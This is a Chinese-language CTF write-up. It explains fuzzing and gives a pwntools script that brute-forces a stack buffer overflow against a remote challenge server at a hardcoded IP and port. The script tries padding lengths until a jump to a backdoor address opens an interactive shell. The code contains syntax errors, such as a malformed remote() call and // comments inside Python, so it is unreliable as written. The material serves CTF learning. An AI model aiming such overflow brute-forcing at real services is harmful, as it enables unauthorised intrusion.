这个题没有附件,只好nc服务器:
发现给了我们一个类似地址的东西,该怎么利用。
猜想flag应该就在这个地址,或者这个地址的附近。这里不得不提到一个方法叫做fuzz(模糊测试):
Fuzzing是指通过构造测试输入,对软件进行大量测试来发现软件中的漏洞的一种模糊测试方法。在CTF中,fuzzing可能不常用,但在现实的漏洞挖掘中,fuzzing因其简单高效的优势,成为非常主流的漏洞挖掘方法。
所以额,我们要写一个函数,这个函数可以为我们生成很多地址,如果这个地址正确了,flag就会被我拿到
def fuzz(r, num, flag):
payload = 'a' * num
if flag==1:
payload += p32(addr)
if flag==2:
payload += p64(addr)
r.recvuntil(">")
r.sendline(payload)
因为不知道后门函数的位置在哪里,用‘a'*num填充,同时也不知道程序是64位还是32位,所以构造payload发送地址时要分两种情况
from pwn import *
#context.log_level = 'debug'
addr = 0x40060d
def fuzz(r, num, flag):
payload = 'a' * num
if flag==1:
payload += p32(addr)
if flag==2:
payload += p64(addr)
r.recvuntil(">")
r.sendline(payload)
def main():
for i in range(1000):
print(i)
for j in range(3):
try:
r = remote(“220.249.52.133”48144)
fuzz(r, i, j)
text = r.recv()
print('text.len='+str(len(text))+'text='+text)//解析text的内容
print('num='+str(i)+' flag='+str(j))//打印num 的个数和flag
r.interactive()
except:
r.close()
if __name__ == '__main__':
main()
有一点像爆破,我们试了1000次。但实际上攻击我们需要对生成的测试用例进行筛选,这道题就暴力破解了。